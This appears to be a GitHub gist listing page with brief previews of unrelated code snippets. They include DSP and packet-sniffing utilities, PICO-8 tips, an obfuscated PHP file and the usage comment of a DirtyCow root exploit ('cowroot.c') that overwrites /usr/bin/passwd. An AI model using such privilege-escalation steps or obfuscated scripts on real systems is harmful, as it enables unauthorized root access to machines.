Below is the starting tweet for each thread of #CipherMysteries. 32 total ciphers will be discussed. When all 32 are tweeted, a post at my blog (https://pthree.org) will be written discussing each of the 32 at length.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
${"GLOBALS"}["xwyursgk"] = "value"; | |
${"GLOBALS"}["derkstv"] = "out_data"; | |
${"GLOBALS"}["jlyxyjddexo"] = "key"; | |
${"GLOBALS"}["dpdkmcgvv"] = "j"; | |
${"GLOBALS"}["mwbyzybuj"] = "i"; | |
${"GLOBALS"}["sjzfiseitu"] = "data_key"; | |
${"GLOBALS"}["medidmpnos"] = "data"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* (un)comment correct payload first (x86 or x64)! | |
* | |
* $ gcc cowroot.c -o cowroot -pthread | |
* $ ./cowroot | |
* DirtyCow root privilege escalation | |
* Backing up /usr/bin/passwd.. to /tmp/bak | |
* Size of binary: 57048 | |
* Racing, this may take a while.. | |
* /usr/bin/passwd overwritten |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
A set of simple DSP utilities with abysmal performance | |
""" | |
import math | |
import cmath | |
import struct | |
import util | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import datetime | |
import os | |
import sys | |
import pefile | |
from scapy.all import * | |
import scapy_http.http | |
import tempfile | |
TIME_THRESHOLD = datetime.timedelta(days=3) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import binascii | |
import struct | |
class Punk(object): | |
_END_CHUNK_TYPE = 'IEND' | |
_PUNK_CHUNK_TYPE = 'puNk' | |
_MAX_BYTES = 2147483647 | |
_chunks = dict() |
Here are some simple ways to make your PICO-8 code fit in 140 280 characters (as in the #tweetjam #tweetcart craze). I did not invent these, I merely observed and collected them from the tweetjam thread.
- Use single character variable names
- Use
x=.1
andx=.023
, notx=0.1
orx=0.023
x=1/3
is shorter thanx=.3333
- You don't need to separate everything with spaces or write them on their own lines, e.g.
circ(x,y,1)pset(z,q,7)
works just as well
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# install can-utils | |
git clone https://github.com/linux-can/can-utils.git | |
cd can-utils | |
./autogen.sh | |
./configure | |
make | |
sudo make install |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Pure Python Tiny Packet Snifer | |
# Author: Alexander Rymdeko-Harvey | |
# Twitter: @Killswitch-GUI | |
import socket, time | |
from datetime import datetime | |
import struct | |
def outputPcapPFile(fileName): |